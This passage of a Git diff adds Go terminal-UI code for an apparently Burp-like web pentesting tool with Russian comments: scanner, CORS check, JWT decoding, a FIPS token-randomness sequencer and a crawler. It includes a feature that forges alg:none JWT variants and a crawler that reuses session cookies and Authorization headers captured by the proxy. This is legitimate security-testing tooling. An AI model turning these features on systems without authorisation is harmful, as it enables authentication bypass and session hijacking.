if key, ok := msg.(tea.KeyMsg); ok {
|
||||
switch key.String() {
|
||||
case "tab":
|
||||
m.focus = (m.focus + 1) % 5
|
||||
m.textarea.Blur()
|
||||
m.pointIdx.Blur()
|
||||
m.jwtInput.Blur()
|
||||
switch m.focus {
|
||||
case 0:
|
||||
m.textarea.Focus()
|
||||
case 1:
|
||||
m.pointIdx.Focus()
|
||||
case 3:
|
||||
m.jwtInput.Focus()
|
||||
}
|
||||
return m, nil
|
||||
case "up":
|
||||
if m.focus == 2 && m.checkCursor > 0 {
|
||||
m.checkCursor--
|
||||
}
|
||||
return m, nil
|
||||
case "down":
|
||||
names := scanner.AllCheckNames()
|
||||
if m.focus == 2 && m.checkCursor < len(names)-1 {
|
||||
m.checkCursor++
|
||||
}
|
||||
return m, nil
|
||||
case " ", "space":
|
||||
if m.focus == 2 {
|
||||
names := scanner.AllCheckNames()
|
||||
if m.checkCursor >= 0 && m.checkCursor < len(names) {
|
||||
name := names[m.checkCursor]
|
||||
m.checkSelected[name] = !m.checkSelected[name]
|
||||
}
|
||||
return m, nil
|
||||
}
|
||||
case "ctrl+t":
|
||||
m.insecure = !m.insecure
|
||||
return m, nil
|
||||
case "ctrl+r":
|
||||
if m.running {
|
||||
return m, nil
|
||||
}
|
||||
m.errMsg = ""
|
||||
m.statusMsg = ""
|
||||
return m, m.runCmd()
|
||||
case "ctrl+o":
|
||||
m.errMsg = ""
|
||||
m.statusMsg = ""
|
||||
return m, m.corsCmd()
|
||||
case "ctrl+d":
|
||||
m.decodeJWT()
|
||||
return m, nil
|
||||
case "ctrl+f":
|
||||
m.forgeJWT()
|
||||
return m, nil
|
||||
case "ctrl+p":
|
||||
return m, m.saveToProjectCmd()
|
||||
}
|
||||
}
|
||||
|
||||
var cmd tea.Cmd
|
||||
switch m.focus {
|
||||
case 0:
|
||||
m.textarea, cmd = m.textarea.Update(msg)
|
||||
case 1:
|
||||
m.pointIdx, cmd = m.pointIdx.Update(msg)
|
||||
case 3:
|
||||
m.jwtInput, cmd = m.jwtInput.Update(msg)
|
||||
case 4:
|
||||
m.viewport, cmd = m.viewport.Update(msg)
|
||||
}
|
||||
return m, cmd
|
||||
}
|
||||
|
||||
// decodeJWT (ctrl+d) — синхронная операция без сети: разбор base64/JSON
|
||||
// достаточно дёшев, чтобы не уходить в tea.Cmd.
|
||||
func (m *scannerModel) decodeJWT() {
|
||||
token := strings.TrimSpace(m.jwtInput.Value())
|
||||
if token == "" {
|
||||
m.errMsg = "вставь JWT в поле выше"
|
||||
return
|
||||
}
|
||||
info, err := scanner.DecodeJWT(token)
|
||||
if err != nil {
|
||||
m.errMsg = err.Error()
|
||||
return
|
||||
}
|
||||
m.errMsg = ""
|
||||
|
||||
headerJSON, _ := json.MarshalIndent(info.Header, "", " ")
|
||||
payloadJSON, _ := json.MarshalIndent(info.Payload, "", " ")
|
||||
m.AddFinding(scanner.Finding{
|
||||
Check: "JWT", Severity: scanner.SeverityInfo,
|
||||
Detail: fmt.Sprintf("Header:\n%s\nPayload:\n%s", headerJSON, payloadJSON),
|
||||
})
|
||||
for _, f := range info.Findings {
|
||||
m.AddFinding(f)
|
||||
}
|
||||
}
|
||||
|
||||
// forgeJWT (ctrl+f) — тоже синхронно, чистая функция без сети.
|
||||
func (m *scannerModel) forgeJWT() {
|
||||
token := strings.TrimSpace(m.jwtInput.Value())
|
||||
if token == "" {
|
||||
m.errMsg = "вставь JWT в поле выше"
|
||||
return
|
||||
}
|
||||
variant, err := scanner.AlgNoneVariant(token)
|
||||
if err != nil {
|
||||
m.errMsg = err.Error()
|
||||
return
|
||||
}
|
||||
m.errMsg = ""
|
||||
m.AddFinding(scanner.Finding{
|
||||
Check: "JWT", Severity: scanner.SeverityInfo,
|
||||
Detail: "alg:none вариант — вставь вручную в заголовок Authorization через Repeater:\n" + variant,
|
||||
})
|
||||
}
|
||||
|
||||
// runCmd запускает активное сканирование выбранных проверок против
|
||||
// одной точки вставки. Возвращает scanStartedMsg с каналом находок
|
||||
// и cancel'ом, либо scanErrMsg с причиной отказа.
|
||||
func (m scannerModel) runCmd() tea.Cmd {
|
||||
raw := m.textarea.Value()
|
||||
pointStr := strings.TrimSpace(m.pointIdx.Value())
|
||||
selected := m.selectedCheckNames()
|
||||
insecure := m.insecure
|
||||
|
||||
return func() tea.Msg {
|
||||
clean, points, err := engine.ParseMarkers(raw)
|
||||
if err != nil {
|
||||
return scanErrMsg{fmt.Errorf("маркеры §...§: %w", err)}
|
||||
}
|
||||
if len(points) == 0 {
|
||||
return scanErrMsg{fmt.Errorf("в запросе нет ни одного §маркера§ — нечего сканировать")}
|
||||
}
|
||||
if len(selected) == 0 {
|
||||
return scanErrMsg{fmt.Errorf("выбери хотя бы одну проверку (space на строке в списке)")}
|
||||
}
|
||||
|
||||
pointIdx := 0
|
||||
if pointStr != "" {
|
||||
n, err := strconv.Atoi(pointStr)
|
||||
if err != nil {
|
||||
return scanErrMsg{fmt.Errorf("некорректный индекс точки: %v", err)}
|
||||
}
|
||||
pointIdx = n
|
||||
}
|
||||
if pointIdx < 0 || pointIdx >= len(points) {
|
||||
return scanErrMsg{fmt.Errorf("индекс точки должен быть от 0 до %d, получено %d", len(points)-1, pointIdx)}
|
||||
}
|
||||
|
||||
sc := scanner.New(scanner.Config{Timeout: 15 * time.Second, InsecureSkipVerify: insecure})
|
||||
base := make([]string, len(points))
|
||||
ctx, cancel := context.WithCancel(context.Background())
|
||||
ch, err := sc.Run(ctx, clean, points, pointIdx, base, selected)
|
||||
if err != nil {
|
||||
cancel()
|
||||
return scanErrMsg{err}
|
||||
}
|
||||
return scanStartedMsg{ch: ch, cancel: cancel}
|
||||
}
|
||||
}
|
||||
|
||||
// saveToProjectCmd (ctrl+p) сохраняет сканируемый запрос вместе со всеми
|
||||
// накопленными находками одной записью — Finding сам по себе не пара
|
||||
// запрос/ответ, а список аномалий по нескольким пробникам сразу, так
|
||||
// что естественная единица сохранения здесь — "прогон целиком", а не
|
||||
// находка по отдельности. Method/URL — тем же способом, что и в
|
||||
// Repeater: переиспользуем ParseMarkers+BuildRequest вместо ручного
|
||||
// парсинга сырого текста.
|
||||
func (m scannerModel) saveToProjectCmd() tea.Cmd {
|
||||
raw := m.textarea.Value()
|
||||
findingsText := strings.Join(m.lines, "\n\n")
|
||||
|
||||
return func() tea.Msg {
|
||||
if findingsText == "" {
|
||||
return projectErrMsg{fmt.Errorf("нет находок для сохранения — сначала запусти сканирование (ctrl+r)")}
|
||||
}
|
||||
|
||||
method, urlStr := "", ""
|
||||
if clean, points, err := engine.ParseMarkers(raw); err == nil {
|
||||
payloads := make([]string, len(points))
|
||||
if req, err2 := engine.BuildRequest(clean, points, payloads); err2 == nil {
|
||||
method = req.Method
|
||||
urlStr = req.URL.String()
|
||||
}
|
||||
}
|
||||
host := ""
|
||||
if u, err := neturl.Parse(urlStr); err == nil {
|
||||
host = u.Host
|
||||
}
|
||||
|
||||
rec := project.Record{
|
||||
Source: "scanner",
|
||||
Host: host,
|
||||
Method: method,
|
||||
URL: urlStr,
|
||||
RawRequest: raw,
|
||||
RawResponse: findingsText,
|
||||
}
|
||||
return saveToProjectMsg{origin: viewScanner, records: []project.Record{rec}}
|
||||
}
|
||||
}
|
||||
|
||||
// corsCmd (ctrl+o) — одноразовая CORS-проверка всего запроса, без
|
||||
// привязки к точке вставки (может работать даже без §маркеров§ вовсе).
|
||||
func (m scannerModel) corsCmd() tea.Cmd {
|
||||
raw := m.textarea.Value()
|
||||
insecure := m.insecure
|
||||
|
||||
return func() tea.Msg {
|
||||
clean, points, err := engine.ParseMarkers(raw)
|
||||
if err != nil {
|
||||
return scanErrMsg{fmt.Errorf("маркеры §...§: %w", err)}
|
||||
}
|
||||
base := make([]string, len(points))
|
||||
req, err := engine.BuildRequest(clean, points, base)
|
||||
if err != nil {
|
||||
return scanErrMsg{err}
|
||||
}
|
||||
|
||||
client := &http.Client{
|
||||
Timeout: 15 * time.Second,
|
||||
Transport: &http.Transport{TLSClientConfig: &tls.Config{InsecureSkipVerify: insecure}},
|
||||
}
|
||||
finding, err := scanner.CheckCORS(client, req)
|
||||
if err != nil {
|
||||
return scanErrMsg{fmt.Errorf("CORS-проверка: %w", err)}
|
||||
}
|
||||
return corsResultMsg{finding: finding}
|
||||
}
|
||||
}
|
||||
|
||||
func (m scannerModel) View() string {
|
||||
focusMark := func(i int) string {
|
||||
if m.focus == i {
|
||||
return "▸ "
|
||||
}
|
||||
return " "
|
||||
}
|
||||
|
||||
var b strings.Builder
|
||||
b.WriteString(focusMark(0) + "Запрос (§...§ отмечает точку сканирования)\n")
|
||||
b.WriteString(m.textarea.View())
|
||||
b.WriteString("\n\n")
|
||||
|
||||
b.WriteString(focusMark(1) + "Индекс точки (0-based, по умолчанию 0): ")
|
||||
b.WriteString(m.pointIdx.View())
|
||||
b.WriteString(fmt.Sprintf(" Insecure TLS: %v (ctrl+t)\n\n", m.insecure))
|
||||
|
||||
b.WriteString(focusMark(2) + "Проверки (space — включить/выключить):\n")
|
||||
for i, name := range scanner.AllCheckNames() {
|
||||
mark := "[ ]"
|
||||
if m.checkSelected[name] {
|
||||
mark = "[x]"
|
||||
}
|
||||
cursor := " "
|
||||
if m.focus == 2 && i == m.checkCursor {
|
||||
cursor = "▸ "
|
||||
}
|
||||
b.WriteString(fmt.Sprintf("%s%s %s\n", cursor, mark, name))
|
||||
}
|
||||
b.WriteString("\n")
|
||||
|
||||
b.WriteString(focusMark(3) + "JWT (ctrl+d — декодировать, ctrl+f — forge alg:none)\n")
|
||||
b.WriteString(m.jwtInput.View())
|
||||
b.WriteString("\n\n")
|
||||
|
||||
status := "готов"
|
||||
if m.running {
|
||||
status = fmt.Sprintf("сканирование… %d%s (esc — остановить)", m.progressDone, progressSuffix(m.progressDone, m.progressTotal))
|
||||
}
|
||||
b.WriteString(fmt.Sprintf("Статус: %s · находок: %d\n", status, m.count))
|
||||
if m.errMsg != "" {
|
||||
b.WriteString("Ошибка: " + m.errMsg + "\n")
|
||||
}
|
||||
if m.statusMsg != "" {
|
||||
b.WriteString(m.statusMsg + "\n")
|
||||
}
|
||||
|
||||
b.WriteString("\n" + focusMark(4) + m.viewport.View())
|
||||
b.WriteString("\n\ntab — фокус · ctrl+r — сканировать · ctrl+o — CORS · ctrl+p — сохранить в проект\n")
|
||||
b.WriteString("f1-f12, pgup — вкладки\n")
|
||||
return b.String()
|
||||
}
|
||||
160
internal/tui/sequencerview.go
Normal file
160
internal/tui/sequencerview.go
Normal file
|
|
@ -0,0 +1,160 @@
|
|||
package tui
|
||||
|
||||
import (
|
||||
"fmt"
|
||||
"strings"
|
||||
|
||||
"github.com/charmbracelet/bubbles/textarea"
|
||||
"github.com/charmbracelet/bubbles/viewport"
|
||||
tea "github.com/charmbracelet/bubbletea"
|
||||
|
||||
"github.com/r3g1tpr0cs/burterm/internal/sequencer"
|
||||
)
|
||||
|
||||
// sequencerModel — вкладка Sequencer: textarea с токенами (по одному на
|
||||
// строку), запуск FIPS-анализа по ctrl+r и читаемый отчёт по каждому
|
||||
// проанализированному 20 000-битному блоку.
|
||||
type sequencerModel struct {
|
||||
input textarea.Model
|
||||
output viewport.Model
|
||||
|
||||
focus int // 0 — вход, 1 — выход (скролл)
|
||||
errMsg string
|
||||
}
|
||||
|
||||
func newSequencerView() sequencerModel {
|
||||
ta := textarea.New()
|
||||
ta.Placeholder = "Токены по одному на строку — либо hex-строки, либо сырой текст"
|
||||
ta.ShowLineNumbers = true
|
||||
ta.Focus()
|
||||
|
||||
return sequencerModel{
|
||||
input: ta,
|
||||
output: viewport.New(0, 0),
|
||||
}
|
||||
}
|
||||
|
||||
func (m *sequencerModel) SetSize(width, height int) {
|
||||
if width < 0 {
|
||||
width = 0
|
||||
}
|
||||
if height < 0 {
|
||||
height = 0
|
||||
}
|
||||
inHeight := height / 2
|
||||
|
||||
m.input.SetWidth(width)
|
||||
m.input.SetHeight(inHeight)
|
||||
m.output.Width = width
|
||||
// 6 фиксированных строк вокруг output-viewport (построчный подсчёт по
|
||||
// View(): "Токены"-метка 1, разделитель 1, "Отчёт FIPS"-метка 1,
|
||||
// разделитель+футер(две строки) 3 — итого 6). Раньше стояло -4 — не
|
||||
// совпадало с View() ещё до того, как футер стал двухстрочным.
|
||||
m.output.Height = height - inHeight - 6
|
||||
}
|
||||
|
||||
func (m sequencerModel) Update(msg tea.Msg) (sequencerModel, tea.Cmd) {
|
||||
if key, ok := msg.(tea.KeyMsg); ok {
|
||||
switch key.String() {
|
||||
case "tab":
|
||||
m.focus = (m.focus + 1) % 2
|
||||
if m.focus == 0 {
|
||||
m.input.Focus()
|
||||
} else {
|
||||
m.input.Blur()
|
||||
}
|
||||
return m, nil
|
||||
case "ctrl+r":
|
||||
m.analyze()
|
||||
return m, nil
|
||||
}
|
||||
}
|
||||
|
||||
var cmd tea.Cmd
|
||||
if m.focus == 0 {
|
||||
m.input, cmd = m.input.Update(msg)
|
||||
} else {
|
||||
m.output, cmd = m.output.Update(msg)
|
||||
}
|
||||
return m, cmd
|
||||
}
|
||||
|
||||
func (m *sequencerModel) analyze() {
|
||||
var samples [][]byte
|
||||
for _, line := range strings.Split(m.input.Value(), "\n") {
|
||||
line = strings.TrimSpace(line)
|
||||
if line == "" {
|
||||
continue
|
||||
}
|
||||
samples = append(samples, sequencer.ParseSample(line))
|
||||
}
|
||||
if len(samples) == 0 {
|
||||
m.errMsg = "нет сэмплов — вставь токены, по одному на строку"
|
||||
return
|
||||
}
|
||||
|
||||
results, blocks, bitsAvailable, err := sequencer.AnalyzeConcatenated(samples)
|
||||
if err != nil {
|
||||
m.errMsg = err.Error()
|
||||
m.output.SetContent(fmt.Sprintf("Сэмплов: %d, доступно бит: %d — недостаточно для анализа.", len(samples), bitsAvailable))
|
||||
return
|
||||
}
|
||||
|
||||
m.errMsg = ""
|
||||
m.output.SetContent(renderSequencerReport(samples, results, blocks, bitsAvailable))
|
||||
}
|
||||
|
||||
func renderSequencerReport(samples [][]byte, results []sequencer.BlockResult, blocks, bitsAvailable int) string {
|
||||
var b strings.Builder
|
||||
b.WriteString(fmt.Sprintf("Сэмплов: %d · доступно бит: %d · проанализировано блоков по 20000 бит: %d\n\n", len(samples), bitsAvailable, blocks))
|
||||
|
||||
passCount := 0
|
||||
for _, r := range results {
|
||||
if r.AllPass() {
|
||||
passCount++
|
||||
}
|
||||
}
|
||||
b.WriteString(fmt.Sprintf("Итог: %d/%d блоков прошли все четыре теста\n\n", passCount, blocks))
|
||||
|
||||
for i, r := range results {
|
||||
b.WriteString(fmt.Sprintf("Блок %d:\n", i+1))
|
||||
b.WriteString(fmt.Sprintf(" Monobit: единиц=%d %s\n", r.MonobitOnes, passLabel(r.MonobitPass)))
|
||||
b.WriteString(fmt.Sprintf(" Poker: X=%.2f %s\n", r.PokerX, passLabel(r.PokerPass)))
|
||||
b.WriteString(fmt.Sprintf(" Runs: %s\n", passLabel(r.RunsPass)))
|
||||
b.WriteString(fmt.Sprintf(" Long run: макс. серия=%d бит %s\n", r.LongRunMax, passLabel(r.LongRunPass)))
|
||||
b.WriteString("\n")
|
||||
}
|
||||
|
||||
return b.String()
|
||||
}
|
||||
|
||||
func passLabel(pass bool) string {
|
||||
if pass {
|
||||
return "PASS"
|
||||
}
|
||||
return "FAIL"
|
||||
}
|
||||
|
||||
func (m sequencerModel) View() string {
|
||||
focusMark := func(i int) string {
|
||||
if m.focus == i {
|
||||
return "▸ "
|
||||
}
|
||||
return " "
|
||||
}
|
||||
|
||||
var b strings.Builder
|
||||
b.WriteString(focusMark(0) + "Токены (по одному на строку)\n")
|
||||
b.WriteString(m.input.View())
|
||||
b.WriteString("\n\n")
|
||||
|
||||
if m.errMsg != "" {
|
||||
b.WriteString("Ошибка: " + m.errMsg + "\n\n")
|
||||
}
|
||||
|
||||
b.WriteString(focusMark(1) + "Отчёт FIPS 140-2\n")
|
||||
b.WriteString(m.output.View())
|
||||
b.WriteString("\n\ntab — между полями · ctrl+r — запустить анализ\n")
|
||||
b.WriteString("f1-f12, pgup — вкладки\n")
|
||||
return b.String()
|
||||
}
|
||||
230
internal/tui/spiderview.go
Normal file
230
internal/tui/spiderview.go
Normal file
|
|
@ -0,0 +1,230 @@
|
|||
package tui
|
||||
|
||||
import (
|
||||
"context"
|
||||
"fmt"
|
||||
"net/url"
|
||||
"strconv"
|
||||
"strings"
|
||||
|
||||
"github.com/charmbracelet/bubbles/spinner"
|
||||
"github.com/charmbracelet/bubbles/textinput"
|
||||
"github.com/charmbracelet/bubbles/viewport"
|
||||
tea "github.com/charmbracelet/bubbletea"
|
||||
|
||||
"github.com/r3g1tpr0cs/burterm/internal/proxy"
|
||||
"github.com/r3g1tpr0cs/burterm/internal/spider"
|
||||
)
|
||||
|
||||
// spiderModel — вкладка краулера: два поля ввода (стартовый URL, глубина)
|
||||
// и прокручиваемый лог найденных страниц/форм, пополняемый по мере
|
||||
// поступления из потока spider.Page. Одновременно поддерживается только
|
||||
// один активный обход — в отличие от Intruder-атак, тут это осознанное
|
||||
// упрощение (краулинг одного сайта редко имеет смысл дублировать).
|
||||
//
|
||||
// В отличие от Intruder/Scanner, у краулинга нет заранее известного
|
||||
// общего числа страниц (сайт не размечен, пока его не обойдёшь) — поэтому
|
||||
// вместо N/Total здесь просто анимированный спиннер, честно говорящий
|
||||
// "процесс идёт", а не выдуманный процент.
|
||||
type spiderModel struct {
|
||||
startURL textinput.Model
|
||||
maxDepth textinput.Model
|
||||
viewport viewport.Model
|
||||
spinner spinner.Model
|
||||
|
||||
pages []spider.Page
|
||||
count int
|
||||
running bool
|
||||
errMsg string
|
||||
|
||||
// sessionEntries — зеркало истории Proxy, обновляется тем же
|
||||
// proxyEntryMsg, что и proxyView/targetView (см. model.go). Нужно
|
||||
// только для авто-обнаружения Cookie/Authorization перед стартом
|
||||
// обхода — сама вкладка их не показывает и не редактирует.
|
||||
sessionEntries []proxy.Entry
|
||||
sessionDetected bool // сессия была подхвачена автоматически при последнем запуске
|
||||
|
||||
focus int // 0 — startURL, 1 — maxDepth
|
||||
}
|
||||
|
||||
func newSpiderView() spiderModel {
|
||||
su := textinput.New()
|
||||
su.Placeholder = "https://example.com"
|
||||
su.CharLimit = 512
|
||||
su.Focus()
|
||||
|
||||
md := textinput.New()
|
||||
md.Placeholder = "3"
|
||||
md.CharLimit = 3
|
||||
|
||||
sp := spinner.New()
|
||||
sp.Spinner = spinner.Dot
|
||||
|
||||
return spiderModel{
|
||||
startURL: su,
|
||||
maxDepth: md,
|
||||
viewport: viewport.New(0, 0),
|
||||
spinner: sp,
|
||||
}
|
||||
}
|
||||
|
||||
func (m *spiderModel) SetSize(width, height int) {
|
||||
if width < 0 {
|
||||
width = 0
|
||||
}
|
||||
if height < 0 {
|
||||
height = 0
|
||||
}
|
||||
m.viewport.Width = width
|
||||
// 11 фиксированных строк (построчный подсчёт: "Стартовый URL"-метка+
|
||||
// поле+разделитель (3), "Макс. глубина"-метка+поле+разделитель (3),
|
||||
// строка статуса (1), разделитель перед viewport (1), разделитель+
|
||||
// футер(две строки) (3) — итого 11). Раньше стояло -6 — недосчитано
|
||||
// с самого начала, безотносительно разбиения футера.
|
||||
vh := height - 11
|
||||
if vh < 0 {
|
||||
vh = 0
|
||||
}
|
||||
m.viewport.Height = vh
|
||||
}
|
||||
|
||||
// AddPage дописывает найденную страницу (и её формы) в лог.
|
||||
func (m *spiderModel) AddPage(p spider.Page) {
|
||||
m.pages = append(m.pages, p)
|
||||
m.count++
|
||||
m.refresh()
|
||||
m.viewport.GotoBottom()
|
||||
}
|
||||
|
||||
// AddProxyEntry зеркалит перехваченный запрос из Proxy — используется
|
||||
// только для последующего извлечения сессионных заголовков, на экране
|
||||
// не отображается.
|
||||
func (m *spiderModel) AddProxyEntry(e proxy.Entry) {
|
||||
m.sessionEntries = append(m.sessionEntries, e)
|
||||
}
|
||||
|
||||
func (m *spiderModel) Finish() {
|
||||
m.running = false
|
||||
}
|
||||
|
||||
func (m *spiderModel) refresh() {
|
||||
var b strings.Builder
|
||||
for i, p := range m.pages {
|
||||
b.WriteString(fmt.Sprintf("#%-4d %-3d %s\n", i+1, p.Status, p.URL))
|
||||
for _, f := range p.Forms {
|
||||
fields := strings.Join(f.Fields, ", ")
|
||||
b.WriteString(fmt.Sprintf(" форма %s %s (поля: %s)\n", f.Method, f.Action, fields))
|
||||
}
|
||||
}
|
||||
m.viewport.SetContent(b.String())
|
||||
}
|
||||
|
||||
func (m spiderModel) Update(msg tea.Msg) (spiderModel, tea.Cmd) {
|
||||
if key, ok := msg.(tea.KeyMsg); ok {
|
||||
switch key.String() {
|
||||
case "tab":
|
||||
m.focus = (m.focus + 1) % 2
|
||||
if m.focus == 0 {
|
||||
m.startURL.Focus()
|
||||
m.maxDepth.Blur()
|
||||
} else {
|
||||
m.maxDepth.Focus()
|
||||
m.startURL.Blur()
|
||||
}
|
||||
return m, nil
|
||||
case "ctrl+r":
|
||||
if m.running {
|
||||
// Обход уже идёт — второй запуск проигнорирован, чтобы не
|
||||
// плодить параллельные краулеры по одному и тому же scope
|
||||
// с общим (нулевым) состоянием visited.
|
||||
return m, nil
|
||||
}
|
||||
m.errMsg = ""
|
||||
return m, m.startCmd()
|
||||
}
|
||||
}
|
||||
|
||||
var fieldCmd tea.Cmd
|
||||
if m.focus == 0 {
|
||||
m.startURL, fieldCmd = m.startURL.Update(msg)
|
||||
} else {
|
||||
m.maxDepth, fieldCmd = m.maxDepth.Update(msg)
|
||||
}
|
||||
|
||||
var vpCmd tea.Cmd
|
||||
m.viewport, vpCmd = m.viewport.Update(msg)
|
||||
|
||||
return m, tea.Batch(fieldCmd, vpCmd)
|
||||
}
|
||||
|
||||
// startCmd валидирует URL и глубину, создаёт Spider (с авто-подхваченными
|
||||
// сессионными заголовками под целевой хост, если такие нашлись в истории
|
||||
// Proxy) и запускает обход. Возвращает spiderStartedMsg с каналом страниц
|
||||
// и cancel'ом, либо spiderErrMsg с причиной отказа.
|
||||
func (m spiderModel) startCmd() tea.Cmd {
|
||||
rawURL := strings.TrimSpace(m.startURL.Value())
|
||||
depthStr := m.maxDepth.Value()
|
||||
sessionEntries := m.sessionEntries // срез читается только на чтение в горутине — без гонки
|
||||
|
||||
return func() tea.Msg {
|
||||
if rawURL == "" {
|
||||
return spiderErrMsg{fmt.Errorf("укажи стартовый URL")}
|
||||
}
|
||||
u, err := url.Parse(rawURL)
|
||||
if err != nil || u.Host == "" || (u.Scheme != "http" && u.Scheme != "https") {
|
||||
return spiderErrMsg{fmt.Errorf("нужен полный URL со схемой, например https://example.com")}
|
||||
}
|
||||
|
||||
depth, _ := strconv.Atoi(depthStr)
|
||||
if depth <= 0 {
|
||||
depth = 3
|
||||
}
|
||||
|
||||
sp := spider.New(u, depth)
|
||||
|
||||
sessionHeaders := proxy.ExtractSessionHeaders(sessionEntries, u.Host)
|
||||
sessionDetected := len(sessionHeaders) > 0
|
||||
if sessionDetected {
|
||||
sp.SetHeaders(sessionHeaders)
|
||||
}
|
||||
|
||||
ctx, cancel := context.WithCancel(context.Background())
|
||||
ch := sp.Crawl(ctx, rawURL)
|
||||
return spiderStartedMsg{ch: ch, cancel: cancel, sessionDetected: sessionDetected}
|
||||
}
|
||||
}
|
||||
|
||||
func (m spiderModel) View() string {
|
||||
focusMark := func(i int) string {
|
||||
if m.focus == i {
|
||||
return "▸ "
|
||||
}
|
||||
return " "
|
||||
}
|
||||
|
||||
status := "готов"
|
||||
if m.running {
|
||||
status = m.spinner.View() + " краулинг… (esc — остановить)"
|
||||
if m.sessionDetected {
|
||||
status += " · сессия подхвачена из Proxy History"
|
||||
}
|
||||
}
|
||||
|
||||
var b strings.Builder
|
||||
b.WriteString(focusMark(0) + "Стартовый URL\n")
|
||||
b.WriteString(m.startURL.View())
|
||||
b.WriteString("\n")
|
||||
b.WriteString(focusMark(1) + "Макс. глубина\n")
|
||||
b.WriteString(m.maxDepth.View())
|
||||
b.WriteString("\n\n")
|
||||
|
||||
b.WriteString(fmt.Sprintf("Статус: %s · страниц: %d\n", status, m.count))
|
||||
if m.errMsg != "" {
|
||||
b.WriteString("Ошибка: " + m.errMsg + "\n")
|
||||
}
|
||||
|
||||
b.WriteString("\n" + m.viewport.View())
|
||||
b.WriteString("\n\ntab — между полями · ctrl+r — запустить · ctrl+c — выход\n")
|
||||
b.WriteString("f1-f12, pgup — вкладки\n")
|
||||
return b.String()
|
||||
}
|
||||
110
internal/tui/style.go
Normal file
110
internal/tui/style.go
Normal file
|
|
@ -0,0 +1,110 @@
|
|||
package tui
|
||||
|
||||
import (
|
||||
"net/http"
|
||||
"strings"
|
||||
|
||||
"github.com/charmbracelet/lipgloss"
|
||||
|
||||
"github.com/r3g1tpr0cs/burterm/internal/project"
|
||||
"github.com/r3g1tpr0cs/burterm/internal/scanner"
|
||||
)
|
||||
|
||||
// Цвета подобраны по классам HTTP-статуса — тот же принцип, что и
|
||||
// цветовая маркировка в Burp: 2xx зелёный, 3xx голубой, 4xx жёлтый,
|
||||
// 5xx красный. Сетевые ошибки (таймаут, обрыв соединения — не HTTP-
|
||||
// статус вовсе) получают отдельный цвет, чтобы не путать с 5xx.
|
||||
var (
|
||||
style2xx = lipgloss.NewStyle().Foreground(lipgloss.Color("42"))
|
||||
style3xx = lipgloss.NewStyle().Foreground(lipgloss.Color("51"))
|
||||
style4xx = lipgloss.NewStyle().Foreground(lipgloss.Color("220"))
|
||||
style5xx = lipgloss.NewStyle().Foreground(lipgloss.Color("196"))
|
||||
styleErrStatus = lipgloss.NewStyle().Foreground(lipgloss.Color("201"))
|
||||
styleDim = lipgloss.NewStyle().Foreground(lipgloss.Color("245"))
|
||||
|
||||
// styleHighlight — единый стиль для строк, подпавших под пользовательское
|
||||
// regex-правило подсветки. Намеренно НЕ комбинируется с statusStyle на
|
||||
// одной строке: lipgloss.Style.Render оборачивает текст кодами
|
||||
// ESC[...]...ESC[0m, а ESC[0m сбрасывает вообще все атрибуты, включая
|
||||
// внешние — если вложить один Render внутрь другого, первый же
|
||||
// внутренний сброс "съест" стиль снаружи для остатка строки. Поэтому
|
||||
// для подсвеченных строк весь рендер идёт через один-единственный
|
||||
// styleHighlight, без отдельной раскраски статуса внутри.
|
||||
styleHighlight = lipgloss.NewStyle().Bold(true).Background(lipgloss.Color("58")).Foreground(lipgloss.Color("230"))
|
||||
)
|
||||
|
||||
// statusStyle подбирает стиль по классу статус-кода.
|
||||
func statusStyle(code int) lipgloss.Style {
|
||||
switch {
|
||||
case code >= 200 && code < 300:
|
||||
return style2xx
|
||||
case code >= 300 && code < 400:
|
||||
return style3xx
|
||||
case code >= 400 && code < 500:
|
||||
return style4xx
|
||||
case code >= 500 && code < 600:
|
||||
return style5xx
|
||||
default:
|
||||
return styleDim
|
||||
}
|
||||
}
|
||||
|
||||
// colorLabelStyle раскрашивает пользовательскую цветовую метку проекта
|
||||
// (project.ColorLabel) в её собственный цвет — не путать с statusStyle,
|
||||
// которая красит по автоматическому классу HTTP-статуса: это разные
|
||||
// вещи, метка выставляется руками (клавиша "c" на вкладке Project).
|
||||
func colorLabelStyle(c project.ColorLabel) lipgloss.Style {
|
||||
switch c {
|
||||
case project.ColorRed:
|
||||
return lipgloss.NewStyle().Foreground(lipgloss.Color("196"))
|
||||
case project.ColorOrange:
|
||||
return lipgloss.NewStyle().Foreground(lipgloss.Color("208"))
|
||||
case project.ColorYellow:
|
||||
return lipgloss.NewStyle().Foreground(lipgloss.Color("220"))
|
||||
case project.ColorGreen:
|
||||
return lipgloss.NewStyle().Foreground(lipgloss.Color("42"))
|
||||
case project.ColorCyan:
|
||||
return lipgloss.NewStyle().Foreground(lipgloss.Color("51"))
|
||||
case project.ColorBlue:
|
||||
return lipgloss.NewStyle().Foreground(lipgloss.Color("33"))
|
||||
case project.ColorPurple:
|
||||
return lipgloss.NewStyle().Foreground(lipgloss.Color("129"))
|
||||
default:
|
||||
return styleDim
|
||||
}
|
||||
}
|
||||
|
||||
// severityStyle подбирает стиль для находок Scanner — переиспользует
|
||||
// ту же цветовую шкалу, что и statusStyle, просто с другим входом.
|
||||
func severityStyle(sev scanner.Severity) lipgloss.Style {
|
||||
switch sev {
|
||||
case scanner.SeverityHigh:
|
||||
return style5xx
|
||||
case scanner.SeverityMedium:
|
||||
return style4xx
|
||||
case scanner.SeverityLow:
|
||||
return style3xx
|
||||
default:
|
||||
return styleDim
|
||||
}
|
||||
}
|
||||
|
||||
// contentTypeLabel вытаскивает короткую метку типа контента из заголовка
|
||||
// Content-Type: "application/json; charset=utf-8" → "json".
|
||||
func contentTypeLabel(h http.Header) string {
|
||||
if h == nil {
|
||||
return ""
|
||||
}
|
||||
ct := h.Get("Content-Type")
|
||||
if ct == "" {
|
||||
return ""
|
||||
}
|
||||
if idx := strings.Index(ct, ";"); idx != -1 {
|
||||
ct = ct[:idx]
|
||||
}
|
||||
ct = strings.TrimSpace(ct)
|
||||
if idx := strings.LastIndex(ct, "/"); idx != -1 {
|
||||
return ct[idx+1:]
|
||||
}
|
||||
return ct
|
||||
}
|
||||
341
internal/tui/targetview.go
Normal file
341
internal/tui/targetview.go
Normal file
|
|
@ -0,0 +1,341 @@
|
|||
package tui
|
||||
|
||||
import (
|
||||
"encoding/json"
|
||||
"fmt"
|
||||
"os"
|
||||
"path/filepath"
|
||||
"sort"
|
||||
"strings"
|
||||
"time"
|
||||
|
||||
"github.com/charmbracelet/bubbles/textinput"
|
||||
"github.com/charmbracelet/bubbles/viewport"
|
||||
tea "github.com/charmbracelet/bubbletea"
|
||||
|
||||
"github.com/r3g1tpr0cs/burterm/internal/proxy"
|
||||
"github.com/r3g1tpr0cs/burterm/internal/sitemap"
|
||||
)
|
